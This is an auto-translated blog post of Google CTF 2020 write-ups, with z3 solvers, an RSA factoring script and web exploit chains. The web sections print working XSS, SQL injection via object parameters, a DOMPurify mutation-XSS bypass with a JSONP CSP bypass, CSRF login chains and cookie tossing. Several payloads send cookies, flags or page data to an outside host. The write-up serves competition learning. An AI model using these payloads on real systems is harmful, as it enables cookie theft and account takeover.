Google CTF 2020 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

WriteUps for some of the challenges from Google CTF 2020.

hardware

BASICS

Opening it, there is a cpp file and a Verilog sv file. Although I haven't learned Verilog, I still read it directly and found that the two combined use some methods to determine whether the input meets certain rules, and finally produce a result. So, similarly, use z3 to brute-force all the solutions:

from z3 import *

def solve(l):
    try:
        data = [BitVec(f'd_{i}', 7) for i in range(l)]
        memory = [None]*8
        s = Solver()
        idx = 0
        for i in range(l):
            memory[idx] = data[i]
            idx = (idx+5) % 8
        magic = Concat(memory[0], memory[5], memory[6], memory[2],
                       memory[4], memory[3], memory[7], memory[1])
        kittens = Concat(Extract(9, 0, magic), Extract(41, 22, magic),
                         Extract(21, 10, magic), Extract(55, 42, magic))
        s.add(kittens == 3008192072309708)
        if s.check() == sat:
            m = s.model()
            return ''.join([chr(m[d].as_long()) if m[d] != None else '*' for d in data])
        return None
    except Z3Exception:
        return None

for i in range(1, 100):
    r = solve(i)
    if r != None:
        print(i, r)

crypto

CHUNK NORRIS

In this challenge, pp and qq are generated by a pseudo-random number generator, so they can be written as follows:

p=sasa15sq=kaka15k\begin{aligned} p = s \mathbin{\Vert} as \mathbin\Vert \cdots \mathbin\Vert a^{15}s \\ q = k \mathbin\Vert ak \mathbin\Vert \cdots \mathbin\Vert a^{15}k \end{aligned}

The multiplication operations are performed in Z264\mathbb{Z}_{2^{64}}, and then each 64-bit chunk is concatenated.

After multiplying the two, it can be found that the last chunk is a30ska^{30}sk, and the first chunk may be sksk or sk+1sk+1. Therefore, it is possible to recover sksk from nn, and then brute-force ss and kk to factorize it.

from sage.all import divisors
from Crypto.Util.number import long_to_bytes

n = 0xAB802DCA026B18251449BAECE42BA2162BF1F8F5DDA60DA5F8BAEF3E5DD49D155C1701A21C2BD5DFEE142FD3A240F429878C8D4402F5C4C7F4BC630C74A4D263DB3674669A18C9A7F5018C2F32CB4732ACF448C95DE86FCD6F312287CEBFF378125F12458932722CA2F1A891F319EC672DA65EA03D0E74E7B601A04435598E2994423362EC605EF5968456970CB367F6B6E55F9D713D82F89ACA0B633E7643DDB0EC263DC29F0946CFC28CCBF8E65C2DA1B67B18A3FBC8CEE3305A25841DFA31990F9AAB219C85A2149E51DFF2AB7E0989A50D988CA9CCDCE34892EB27686FA985F96061620E6902E42BDD00D2768B14A9EB39B3FEEE51E80273D3D4255F6B19
e = 0x10001
c = 0x6A12D56E26E460F456102C83C68B5CF355B2E57D5B176B32658D07619CE8E542D927BBEA12FB8F90D7A1922FE68077AF0F3794BFD26E7D560031C7C9238198685AD9EF1AC1966DA39936B33C7BB00BDB13BEC27B23F87028E99FDEA0FBEE4DF721FD487D491E9D3087E986A79106F9D6F5431522270200C5D545D19DF446DEE6BAA3051BE6332AD7E4E6F44260B1594EC8A588C0450BCC8F23ABB0121BCABF7551FD0EC11CD61C55EA89AE5D9BCC91F46B39D84F808562A42BB87A8854373B234E71FE6688021672C271C22AAD0887304F7DD2B5F77136271A571591C48F438E6F1C08ED65D0088DA562E0D8AE2DADD1234E72A40141429F5746D2D41452D916

a = 0xE64A5F84E2762BE5
chunk_size = 64
md = 2 ** chunk_size


def gen_s(s, bits):
    p = 0
    for _ in range(bits // chunk_size):
        p = (p << chunk_size) + s
        s = (a * s) % md
    return p


sk_low = (n * pow(a, -30, md)) % md
sk_high = n >> (64 * 31)
sk_high -= 1  # Might overflow to highest chunk
sk = sk_high * md + sk_low
print(hex(sk))

for d in divisors(sk):
    p = gen_s(int(d), 1024)
    if n % p == 0:
        q = n // p
        d = pow(e, -1, (p - 1) * (q - 1))
        print(long_to_bytes(pow(c, d, n)))
        exit()

reversing

BEGINNER

Opening it, you see it performs some SIMD operations on the input, and then finally compares the result with the input to see if they are equal. For this kind of challenge, the intuition is to use z3 to solve it, but you need to understand what those operations are doing first: pshufb paddd pxor

Using the virtual code below to understand what those operations are doing, you can then write the solution script:

from z3 import *

SHUFFLE = [0x02, 0x06, 0x07, 0x01, 0x05, 0x0B, 0x09,
           0x0E, 0x03, 0x0F, 0x04, 0x08, 0x0A, 0x0C, 0x0D, 0x00]
ADD = [0xDEADBEEF, 0xFEE1DEAD, 0x13371337, 0x67637466]
XOR = [0x49B45876, 0x385F1A8D, 0x34F823D4, 0xAAF986EB]

flag = [BitVec(f'f_{i}', 8) for i in range(16)]

s = Solver()

# pshufb
shuffled = [flag[SHUFFLE[i]] for i in range(16)]

# paddd & pxor
a = (Concat(*shuffled[0:4][::-1])+ADD[0]) ^ XOR[0]
b = (Concat(*shuffled[4:8][::-1])+ADD[1]) ^ XOR[1]
c = (Concat(*shuffled[8:12][::-1])+ADD[2]) ^ XOR[2]
d = (Concat(*shuffled[12:16][::-1])+ADD[3]) ^ XOR[3]

for i in range(4):
    s.add(flag[i] == Extract((i+1)*8-1, i*8, a))
    s.add(flag[4+i] == Extract((i+1)*8-1, i*8, b))
    s.add(flag[8+i] == Extract((i+1)*8-1, i*8, c))
    s.add(flag[12+i] == Extract((i+1)*8-1, i*8, d))

assert(s.check() == sat)
m = s.model()
for f in flag:
    print(chr(m[f].as_long()), end='')

web

PASTEURIZE

This is a service similar to pastebin, and it also supports a strange share with TJMike🎤 button. You can view the source code and find that its comments mention an XSS bug, and there is a /source URL. Browsing /source reveals its backend code, written in node.js express.

Next, look at the part of the code that filters XSS, which is handled by the following code, and then inserted into a JS string literal, and then processed by DOMPurify.

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

Because of DOMPurify, injecting on the HTML side is not easy, so consider whether it can be injected on the JS side. The key here is that if unsafe is a string, we can't do anything, but if it's not, it gets interesting.

The bodyParser above uses the extended mode, which not only parses query strings but also supports the PHP-like param[]=1 which turns $_GET['param'] into an array.

So, change the form's name to content[], and then put ; alert() // in the content to successfully inject, because its JSON will become ["; alert() //"], and when inserted into the JS string, it becomes ""; alert() //".

So, set up a server to receive requests, and the payload can be used to get the other party's cookie, like this:

fetch('https://example.com/?cookie=' + encodeURIComponent(document.cookie))

Then you can see the flag in the cookie.

LOG-ME-IN

This challenge is also express, and the goal is to log in to michelle's account. You see that the bodyParser also has extended mode enabled, so it's probably related to query strings. The place where it retrieves login parameters is only when sending to MySQL, but it uses parameterized queries, so injection is not possible.

However, thinking carefully, the code is like this. If you use the same technique as the previous challenge to make u and p not strings, what will happen?

const u = req.body['username']
const p = req.body['password']
const sql = 'Select * from users where username = ? and password = ?'
con.query(sql, [u, p], callback)

So, I read the mysql code, and the part that handles this is in sqlstring. Looking at its examples, you find it supports objects. Out of curiosity, I tested it myself:

const qs = require('qs')
const { username: u, password: p } = qs.parse('username=1&password[a]=2')
console.log(u, p)
const sqlstring = require('sqlstring')
console.log(sqlstring.format("select * from user where username=? and password=?", [u, p]))
// output: select * from user where username='1' and password=`a` = '2'

This shows that it successfully injects, and since our goal is to log in successfully, we need to make the entire condition true. The username can be set to michelle, and for the rest, since a is a column name, we can change it to username or password, and the value can be true or false.

So, the final payload can be either username=michelle&password[password]=1 or username=michelle&password[username]=0.

TECH SUPPORT

It is easy to find that the address of /me has XSS, but this is just a simple self-XSS. The chat page also has XSS, but you will find that its XSS domain is under another domain typeselfsub-support.web.ctfcompetition.com.

Since it is a different subdomain, we can do something with CSRF. My initial idea was to modify the bot's /me address to perform XSS, but later found it didn't work, probably because the bot's account has restrictions on changing the address.

Later, I found another CSRF point is /login. After logging in, it automatically redirects to /me, so if you can set up XSS on your account's /me, and let the bot log in to your account via CSRF, you can transfer the self-XSS effect to the bot.

However, this challenge is not that simple. You will quickly find that after the bot logs into your account and fetches /flag, it is useless because the login changes the cookie, so the /flag content obtained will be the same as what you see.

Later, I saw others' solutions using an iframe. One iframe loads /flag before logging into your account, and after loading, another iframe CSRF logs into your account and triggers XSS. The XSS payload uses the iframe's level to read the /flag HTML successfully. This works because the XSS-triggering page and /flag are the same origin.

XSS payload:

<script>
location.href="https://example.com/?report="+btoa(parent[0].document.body.textContent)
</script>

CSRF payload generation (without setting up your own page):

const reason=`<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
    <input value="ACCOUNT" name="username">
    <input value="PASSWORD" name="password">
</form>
'></iframe>
<img src=1 onerror="flag.onload=()=>login.contentWindow.f.submit()">
<!-- 改變 innerHTML 不會直接觸發 <script>,但是 img 的 callback 還是會被觸發 -->
`
console.log(encodeURIComponent(reason)) // 注意 chat 頁面的程式碼沒幫你 encode...

CSRF payload generation (setting up your own page version):

https://example.com/abc.html:

<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
    <input value="ACCOUNT" name="username">
    <input value="PASSWORD" name="password">
</form>
'></iframe>
<script>
flag.onload=()=>login.contentWindow.f.submit()
</script>

Then generate the payload with this:

const reason=`<img src=1 onerror="location.href='https://example.com/abc.html'">`
console.log(encodeURIComponent(reason))

Non-expected solution (?)

This is a special solution seen from others' WriteUps, using the nature of the XSS bot. Generally, an XSS bot is set up to browse a page with necessary cookies, then browse the actual XSS page. At this time, the page setting the cookies is the previous page of the current page. If you can get the URL of the page setting the cookies and the XSS bot is not well-designed, you can directly get the necessary cookies.

The method for this challenge is simple, using document.referrer to get the previous page's URL and send it to your server.

const reason=`<img src=1 onerror="location.href='https://example.com/?report='+document.referrer"/>`
console.log(encodeURIComponent(reason))

Then directly browse the obtained URL with your browser to successfully log in and get the flag.

BTW, you can test modifying the /me address yourself and see it fail, probably an additional restriction of this challenge.

ALL THE LITTLE THINGS

The challenge is basically a note system where you can post notes in private and public modes. The former appears on the domain littlethings.web.ctfcompetition.com, and the latter redirects to the PASTEURIZE domain pasteurize.web.ctfcompetition.com.

Using public mode easily triggers XSS, but it doesn't help solve this challenge. Notes posted in private mode are filtered by DOMPurify and have additional CSP protection:

default-src 'none';script-src 'self' 'nonce-b87b3cc05d4fb332';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com

The /settings page allows you to change the username, profile picture, and theme. This part is implemented by storing data in the session, then fetching /me to get the data, processing it, and calling /theme?cb=set_light_theme JSONP for callback to set the theme.

After some searching, you can find a comment on the /settings page mentioning a debug mode. Adding ?__debug__ loads a special debug script, and others' general solutions use this as a starting point. However, I used another method to solve this, so I didn't use it.

Using DOMPurify old version vulnerability to achieve XSS (< 2.0.17)

I used a method to bypass the filter in DOMPurify versions < 2.0.17. The principle is detailed in Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass. A simple payload is:

<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>

Using it directly, due to CSP, alert(1) has no effect. My first thought was to see if I could use DOM clobbering to change document[USERNAME].theme.cb to my string, but it wasn't very successful. (Maybe using iframe could work...)

However, although this doesn't work directly, changing the payload's img to <iframe srcdoc='<script src=/theme?cb=alert>'></iframe> does work. (Using iframe's srcdoc because inserting script via innerHTML doesn't execute, requiring iframe)

Testing the JSONP callback further, you find that any character other than A-Za-z0-9\.= is removed, so direct function calls are not possible. However, this is also a point of exploitation. With . and = available, many things can be done.

For example: /theme?cb=location.href=parent.document.my_element.textContent.valueOf generates location.href=parent.document.my_element.textContent.valueOf({ /* uncontrollable object */ })

String concatenation can be achieved using DOM properties. For example, with <span id=text><span id=a>https://example.com/?data=</span><span id=b></span></span>, you can use parent.b=parent.some_data and location.href=parent.text to concatenate strings.

Next, using these features, you can combine to create new iframe and script, and nonce can be handled simply. For example, the payload below can alert("C8763"). Change that code to other JS to return data.

<span id=text><span id=a>&lt;iframe srcdoc='&lt;script nonce=</span><span id=b></span><span id=c>&gt;alert("C8763")&lt;/script&gt;'&gt;&lt/iframe&gt;</span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>

However, when returning data, note the CSP issue. Direct fetch is not allowed, but you can bypass it using img exceptions. For example, the payload below can return the /note content to your server.

<span id=text><span id=a>&lt;iframe srcdoc='&lt;img id=img&gt;&lt;script nonce=</span><span id=b></span><span id=c>&gt;fetch("/note").then(r=>r.text()).then(x=>img.src="https://example.com?data="+encodeURIComponent(x))&lt;/script&gt;'&gt;&lt/iframe&gt;</span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>

Self-XSS To XSS

After achieving Self-XSS, you need to make the XSS bot use this page. However, this challenge can only use the bot from the PASTEURIZE challenge. The difficulty is guiding the bot to the Self-XSS page, but the page requires login to view, so you need to modify the bot's session to your session and ensure it sees the original note list on /note.

Unlike TECH SUPPORT, you can't directly CSRF because the login page has a CSRF token. However, since the domains are littlethings.web.ctfcompetition.com and pasteurize.web.ctfcompetition.com, you can modify cookies with document.cookie='a=b;domain=web.ctfcompetition.com'. To keep /note content unchanged, add ;path=/note/self_xss_note_uuid.

So, use the same form of XSS on PASTEURIZE, and after modifying the bot's cookie, redirect it: content[]=; /* script here */ //

Example (remember to escape):

set=function(x){document.cookie=x+';domain=web.ctfcompetition.com;path=/note/self_xss_note_uuid'};set('session.sig=value');set('session=value');location.href='TARGET_PAGE'

After obtaining the note page content, you get the target UUID. Create a new note to fetch that page and do it again to get the flag.

Using window.name to achieve XSS

TBD...

After solving, you will see it offers an extended version. If using the DOMPurify bypass, it should be solvable the same way: https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com